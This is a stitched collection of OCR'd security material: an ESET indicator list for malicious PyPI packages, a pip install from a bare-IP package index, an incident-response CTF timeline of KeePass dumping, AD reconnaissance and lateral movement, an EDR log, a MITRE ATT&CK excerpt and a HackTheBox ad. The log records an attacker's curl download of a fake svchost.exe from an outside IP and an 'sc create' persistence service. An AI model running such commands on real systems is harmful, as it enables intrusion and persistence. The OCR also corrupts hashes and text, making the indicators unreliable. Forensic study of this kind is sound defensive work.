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A pernicious potpourri of Python packages in PyPl — Indicators of
Compromise

The blog post about malicious Python packages on PyPl is available on WeliveSecurity at https://www.welivesecurity.com/en/eset-
research/pernicious-potpourri-python-packages-pypi/

Samples

Malicious packages

Date

2023-11-
25

2023-11-
25

2023-11-
20

2023-11-
04

Project

hexcolurs

pyqcolour

hexcolurs

pyqcolur

Package

hexcolurs-1.4-py3-none-

any.whl

pygcolour-1.2-py3-none-
any.whl

hexcolurs-1.2-py3-none-

any.whl

pygcolur-1.1-py3-none-

any.whl

SHA-256

f98e17c3535b3d3fa@@ad4e7fb5e2e507ce5a9deb8110512c0be9007c3f30b594

al3e8b977fel8788e8ccefe253¢cfa9997fd4f7f1f8563b24a55¢caa639b75¢cbedb

772235bf504a53b6b32dd58576e80¢cda716b5f99849ed11d967b4bd07675F792

8bea5ef967a7463¢c356df39c1080318d43a652ea39¢cf2b84dc48783527e3a91e
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PS C:\Users\Swan> pip install --trusted-host 35.76.142.227 torch torchvision torchaudio index-url http://35.76.142.
/whl/cull8
Looking in indexes: http://35.76.142.227/whl/cull8
Collecting torch
Downloading http://35.76.142.227/packages/torch-8.1.tar.gz (1.7 kB)
Installing build dependencies ... done
Getting requirements to build wheel ... done
Preparing metadata (pyproject.toml) ... done
Collecting torchvision
Downloading http://35.76.142.227/packages/torchvision-08.1.tar.gz (1.3 kB)
Installing build dependencies ... done
Getting requirements to build wheel ... done
Preparing metadata (pyproject.toml) ... done
Collecting torchaudio
Downloading http://35.76.142.227/packages/torchaudio-0.1.tar.gz (1.3 kB)
Installlng bu11d dependenc1es -4
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17:08:43 Initial pPipZEEITL. HavochFE X WSO01 Swan
Access

17:10:54 Discovery tasklisttTOERA—EZES

17:11:20 Credential KeePassDexeDTIVINZEES

17:17:06  CCeSS KeePassD/\—J 3 %8NS

17:18:19 Dump64n4—>rO—R

17:18:54 Dump64 CTKeePassDXEUS T
17:19:25 KeePass Password Dumper®4~O0—R
17:20:59 KeePass Password Dumper®3£1T
17:22:10 kdbxZ7 71 ILDFFEHU

17:28:24 Discovery ADRecon®¥ o O—R

17:29:41 ADReconMEST

17:30:21 ADReconDfaRZziplCHxEHD

17:30:59 ADReconDfER=HEHL
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17:38:35
17:39:07
17:40:04
17:40:21

17:41:25

17:42:19
17:44:28

17:45:36

Tactics

Lateral
Movement

Persistence

Lateral
Movement

Exfiltration

Event

SharpExech¥ o O0—R
SharpExecTDCO1ICHERER
KEALADexezES o O—R
Kt Hexez T —ERELTER
SharpExec TFILEO1ICH#E &R

BEDISRFD I 7M1IVERR
BRID T 71NN H D T4 —%zipllEEHD
Zip I 71ILDEFEHL

Host

FILEO1

User

Swan

Henderson

Swan

Henderson







B 8.3. Incident Response
B 8.2. Incident Response
B 8.1. Incident Response
B 7. Exfiltration

B 6. Persistence

B 5.4. Lateral Movement
B 5.3. Lateral Movement

B 5.2. Lateral Movement
B 5.1. Lateral Movement

B 4. Discovery

B 3.2 Credential Access

B 3.1 Credential Access

B 2.3. Discovery

B 2.2. Discovery

B 2.1. Discovery

B 1.3.Initial Access/Execution
B 1.2 Initial Access / Execution
B 1.1. Initial Access/Execution
I 0. Prologue




8.2. Incident Response

8.1. Incident Response

7. Exfiltraion

6.2. Credential Access

6.1. Credential Access

5. Persistence

4.2, Lateral Movement

4.1. Lateral Movement

3.2 Credential Access

3.1. Execution

2.2. Discovery

2.1. Discovery

1.6. Initial Access/Execution
1.5. Initial Access/Execution
1.4. Initial Access/Execution
1.3. Initial Access/Execution
1.2. Initial Access / Execution

1.1. Initial Access/Execution
B 0. Prologue
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Visual Studio Code
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6 Persistence (2pt)
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cat dc@l.log | grep notepad.exe | grep "cmd="

10/85/2023 17:40:04.056 +0900 loc=en-US type=ITM2 sn=255828 lv=5 rs=1 trs=2 evt=ps subEvt=start os=Win com="DCO1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=f@2ccal4-4aae-402b-a8d9-2a2873957095
csid=5-1-5-21-1720067203-2924128797-2708492278 ip=172.16.2.101,fe80::74c9:7795:ebll:ce® mac=06:00:f2:4b:34:cd
sessionID=0 psGUID={B9A78D24-2B5B-4F2A-9604-154B629DE5F2} psPath="c:\windows\system32\cmd.exe" cmd="curl -o
C:\Windows\Tasks\svchost.exe http://3.114.83.243:8000/1list.min.js" psID=4364 parentGUID=
{864B7B6A-459B-4597-B925-DD3C1515B1F8} parentPath="C:\Users\Public\notepad.exe" psUser="henderson"

16/©5/20823 17:40:21.883 +0900 loc=en-US type=ITM2 sn=255848 lv=5 rs=1 trs=5 evt=ps subEvt=start os=Win com="DCe1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=f@2ccal4-4aae-402b-a8d9-2a2873957895
csid=S-1-5-21-1720067203-2924128797-2708492278 1ip=172.16.2.101,fe80::74c9:7795:ebll:ce@ mac=06:008:f2:4b:34:cd
sessionID=0 psGUID={C44E5236-D11A-43E4-B7F2-682F30DAGASA} psPath="c:\windows\system32\cmd.exe" cmd="sc create
UpdateService binpath= C:\Windows\Tasks\svchost.exe start=auto obj=LocalSystem" psID=2672 parentGUID=
{864B7B6A-459B-4597-B925-DD3C1515B1F8} parentPath="C:\Users\Public\notepad.exe" psUser="henderson"
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Create or Modify System Process: Windows

Service

Other sub-techniques of Create or Modify System Process v

(4)

Adversaries may create or modify Windows services to repeatedly execute
malicious payloads as part of persistence. When Windows boots up, it starts
programs or applications called services that perform background system
functions.I"! Windows service configuration information, including the file path to
the service's executable or recovery programs/commands, is stored in the

Windows Registry.

ID: T1543.003
Sub-technique of: T1543

(® Tactics: Persistence, Privilege
Escalation

(@ Platforms: Windows

(D Effective
Permissions: Administrator,
SYSTEM
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Enhance digital forensics and
incident response (DFIR) skills with
Sherlocks

Our new set of defensive labs is now available for all users. Find them on HTB

Labs and start the investigation!

(o b3rtOli0 & sebh24, Nov 13, 2023

) HACKTHEBOX

Grow your DFIR skills with

SHERLOCKS:

INVESTIGATION LABS

5|A: https://www.hackthebox.com/blog/sherlocks









